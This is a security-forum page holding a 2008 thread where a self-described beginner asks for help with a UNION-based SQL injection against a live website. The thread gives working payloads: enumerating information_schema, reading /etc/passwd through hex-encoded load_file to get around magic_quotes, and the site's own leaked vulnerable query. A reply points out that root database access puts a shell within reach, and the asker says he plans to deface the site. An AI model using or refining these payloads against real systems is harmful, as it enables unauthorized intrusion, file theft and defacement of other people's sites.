Waraxe IT Security Portal
Login or Register
October 17, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 703
Members: 0
Total: 703
Full disclosure
VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001)
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)
[0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1)
[0day-rubbish] SmartBear Collaborator Server 15.1.15101 authenticated DOORS/Simulink review-file upload zip-slip to anonymous webroot Groovy Server Page execution as uid 1001 (7.5)
[0day-rubbish] PacsOne Server 7.3.9 authenticated DICOMweb STOW-RS SOP Instance UID path traversal to www-data code execution on a PACS host (7.2)
[0day-rubbish] Maian Pal 2.1 product image upload with no extension allow-list to PHP webshell and www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Maian Guardian 2.1 license generator projid command injection to www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Dataedo Portal 26.2.8 with Dataedo Agent 26.2.8 unrestricted scheduler job-type deserialization to Agent-host command execution (8.1)
[0day-rubbish] CloudPanel 2.5.4-3 site-settings rootDirectory nginx virtual-host injection to host root code execution (8.8)
[0day-rubbish] Auerswald COMmander 6000 / 6000R 8.6D unauthenticated provisioning import zip-slip to root binary hijack and root code execution (9.8)
[0day-rubbish] Abyss Web Server X1 2.16.22.0 first-run console credential takeover to configuration-write log-as-CGI command execution (7.5)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> How to bypass?
Post new topicReply to topic View previous topic :: View next topic
How to bypass?
PostPosted: Mon Mar 24, 2008 9:50 am Reply with quote
ponas
Beginner
Beginner
Joined: Mar 24, 2008
Posts: 4




Hello.

I am testing a web site. I've found what columns are outputed and now i am trying to get the information_schema.tables infomation.
I can't use any semicolns or strings in my syntax as i get an error:
Code:
?id=null+union+all+select+1,2,3,table_name%20from%20information_schema.tables,5/*

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www/***/******.php on line 220

so i have tried:
Code:
null+union+all+select+1,2,3,char(116,97,98,108,101,95,110,97,109,101,32,102,114,111,109,32,105,110,102,111,114,109,97,116,105,111,110,95,115,99,104,101,109,97,46,116,97,98,108,101,115),5

Then i get only the string in place where normal data should be outputed:
"table_name from information_schema.tables"

i have also tried:
Code:
?id=null+union+all+select+1,2,3,concat(char(116),char(97),char(98),char(108),char(101),char(95),char(110),char(97),char(109),char(101),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(116),char(97),char(98),char(108),char(101),char(115)),5/*

outputs same string:
"table_name from information_schema.tables"

using --, /*, /**/ makes no difference

Any ideas?
Thanks.
View user's profile Send private message
PostPosted: Mon Mar 24, 2008 10:31 am Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




if Mysql version 5.x.x try this :

Code:
?id=null+union+all+select+1,2,3,concat(table_name,0x3e,column_name),5+from+information_schema.columns--+
View user's profile Send private message Visit poster's website
PostPosted: Mon Mar 24, 2008 5:58 pm Reply with quote
ponas
Beginner
Beginner
Joined: Mar 24, 2008
Posts: 4




Yes, mysql version is 5.0.38.

And sorry i forgot to mention that i can't put chars anywhere in my query, for an example this works:
v?id=null+union+all+select+1,2,3,load_file(0x2F6574632F706173737764),5x[/code]
also it works if i put filename in decimal, etc.

And this doesn't work:
?id=null+union+all+select+1,2,3,load_file('/etc/passwd'),5 <---BAD
?id=null+union+all+select+1,2,3,a,5 <---BAD
?id=null+union+all+select+1,2,3,'a',5 <---BAD

By using load_file i have got source and this is how mysql query looks like:
Code:
$dbc=mysql_connect("localhost","root","*************") or die("Cant connect to DB");
mysql_select_db("web_pg",$dbc);

if(!isset($id)) $id=0;
$sql_link = "select * from nav where id=$id";
$result_link = mysql_query($sql_link);
$row_link = mysql_fetch_array($result_link);


No check for bad symbols at all, but why cant i put chars there? Strage Confused

I've started to learn sql injection only yesterday, wont get this page on my own.
View user's profile Send private message
PostPosted: Mon Mar 24, 2008 6:12 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Php magic_quotes --> it makes '/etc/passwd' to \'/etc/passwd\' Smile

And you said yourself, that hexadecimal 0xaabbccdd-style text strings are working. So what's the problem?? You have mysql root access level, you can read and write files. Few steps from getting shell access. Or is there any other problems?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 24, 2008 7:20 pm Reply with quote
ponas
Beginner
Beginner
Joined: Mar 24, 2008
Posts: 4




waraxe wrote:
Php magic_quotes --> it makes '/etc/passwd' to \'/etc/passwd\' Smile

And you said yourself, that hexadecimal 0xaabbccdd-style text strings are working. So what's the problem?? You have mysql root access level, you can read and write files. Few steps from getting shell access. Or is there any other problems?


magic_quotes makes sense, but why can't i put ANY chars in my sql query (in column 4)?
Is there any posibility to make mysql interpret char() and/or concat() or other funcion's returned value not like a string but like a normal mysql query?

lets say this returns all table names from information_schema.tables:
Code:
select id,val,dir from blabla union all select 1,2,table_name from information_schema.tables


BUT this:
Code:
select id,val,dir from blabla union all select 1,2,concat(char(116),char(97),char(98),char(108),char(101),char(95),char(110),char(97),char(109),char(101),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(116),char(97),char(98),char(108),char(101),char(115))

returns something like:
|10|blabla|table_name from information_schema.tables|

will make deface tomorow to proove my friend how lazy he is Wink
View user's profile Send private message
PostPosted: Mon Mar 24, 2008 8:04 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Similar discussion:

http://www.thescripts.com/forum/thread491641.html

Code:


Is it possible to have a dynamic table name within a query or a table
name that is a variable? This does not work but gives an example:

SELECT * FROM concat('table', 'name')
- OR -

SET @table = 'a';
SELCT * FROM @table

Of course the query can be constructed dynamically but does not exactly
fit the needs. The situation is very complicated and would just be
confusing to discuss here so please do not offer suggestions on how to
construct the query programically as that will not work for this
situation.

...

Table names, column names, etc. cannot be dynamic in the way you
describe. This is not permitted by the SQL language, for many reasons.

For instance, there would be no way for the query optimizer to decide
which index(es) to use, if it doesn't know at parse time which tables
and columns are being queried.

Find another way to solve your problem.


Only way seems to be use of dynamic queries via procedures, but it's usually not possible from sql injection.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 24, 2008 10:28 pm Reply with quote
ponas
Beginner
Beginner
Joined: Mar 24, 2008
Posts: 4




Thank you.
View user's profile Send private message
How to bypass?
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.037 Seconds